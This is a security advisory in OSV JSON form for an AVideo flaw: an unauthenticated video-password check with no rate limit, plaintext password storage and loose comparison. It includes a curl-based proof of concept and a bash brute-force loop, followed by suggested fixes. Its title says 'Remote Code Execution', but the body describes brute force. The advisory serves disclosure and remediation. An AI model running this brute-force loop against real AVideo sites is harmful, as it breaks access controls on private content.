CVE-2026-33763: Wwbn/avideo Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8prq-2jr2-cm92",
  "modified" : "2026-03-27T21:38:24Z",
  "published" : "2026-03-26T18:07:38Z",
  "aliases" : [ "CVE-2026-33763" ],
  "summary" : "AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle",
  "details" : "## Summary\n\nThe `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.\n\n## Details\n\nThe vulnerable endpoint is defined at `plugin/API/API.php:1111-1133`:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n    $obj = new stdClass();\n    $obj->videos_id = intval($parameters['videos_id']);\n    $obj->passwordIsCorrect = true;\n    $error = true;\n    $msg = '';\n\n    if (!empty($obj->videos_id)) {\n        $error = false;\n        $video = new Video('', '', $obj->videos_id);\n        $password = $video->getVideo_password();\n        if (!empty($password)) {\n            $obj->passwordIsCorrect = $password == $parameters['video_password'];\n        }\n    } else {\n        $msg = 'Videos id is required';\n    }\n\n    return new ApiObject($msg, $error, $obj);\n}\n```\n\nThe `get()` dispatcher at `API.php:191-209` routes GET requests directly to this method without any authentication enforcement:\n\n```php\npublic function get($parameters) {\n    // ... optional user login if credentials provided ...\n    $APIName = $parameters['APIName'];\n    if (method_exists($this, \"get_api_$APIName\")) {\n        $str = \"\\$object = \\$this->get_api_$APIName(\\$parameters);\";\n        eval($str);\n    }\n}\n```\n\nThe application has a `checkRateLimit()` mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is **not** applied to this password verification endpoint.\n\nAdditionally, video passwords are stored in plaintext (`objects/video.php:523-527`):\n\n```php\npublic function setVideo_password($video_password) {\n    AVideoPlugin::onVideoSetVideo_password($this->id, $this->video_password, $video_password);\n    $this->video_password = trim($video_password);\n}\n```\n\nThe comparison at line 1125 uses loose equality (`==`) rather than strict equality (`===`).\n\n## PoC\n\n**Step 1: Identify a password-protected video**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video&videos_id=1\" | jq '.response.rows[0].video_password'\n```\n\nA non-empty value (e.g., `\"1\"`) indicates the video is password-protected.\n\n**Step 2: Test incorrect password (oracle returns false)**\n\n```bash\ncurl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=wrongguess\"\n```\n\nExpected response:\n```json\n{\"response\":{\"videos_id\":1,\"passwordIsCorrect\":false},\"error\":false}\n```\n\n**Step 3: Brute-force the password**\n\n```bash\nfor pw in password 123456 secret admin test video1 qwerty; do\n  result=$(curl -s \"http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw\" | jq -r '.response.passwordIsCorrect')\n  echo \"$pw: $result\"\n  [ \"$result\" = \"true\" ] && echo \"FOUND: $pw\" && break\ndone\n```\n\nNo rate limiting is encountered regardless of request volume.\n\n**Step 4: Unlock the video with the discovered password**\n\n```bash\ncurl -s \"http://localhost/view/video.php?v=1&video_password=DISCOVERED_PASSWORD\" -c cookies.txt\n```\n\nThe password is stored in the session (`CustomizeUser.php:806-807`) granting persistent access.\n\n## Impact\n\nAn attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.\n\n## Recommended Fix\n\n1. **Add rate limiting** to the endpoint using the existing `checkRateLimit()` mechanism:\n\n```php\npublic function get_api_video_password_is_correct($parameters)\n{\n    $this->checkRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP\n\n    $obj = new stdClass();\n    $obj->videos_id = intval($parameters['videos_id']);\n    // ... rest of existing code\n}\n```\n\n2. **Hash video passwords** using `password_hash()`/`password_verify()` instead of plaintext storage and loose comparison:\n\n```php\n// In setVideo_password:\n$this->video_password = password_hash(trim($video_password), PASSWORD_DEFAULT);\n\n// In the check endpoint:\n$obj->passwordIsCorrect = password_verify($parameters['video_password'], $password);\n```\n\n3. **Use strict comparison** (`===`) if plaintext passwords must be retained temporarily during migration.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-8prq-2jr2-cm92"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33763"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/01a0614fedcdaee47832c0d913a0fb86d8c28135"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-307" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-26T18:07:38Z",
    "nvd_published_at" : "2026-03-27T15:16:58Z"
  }
}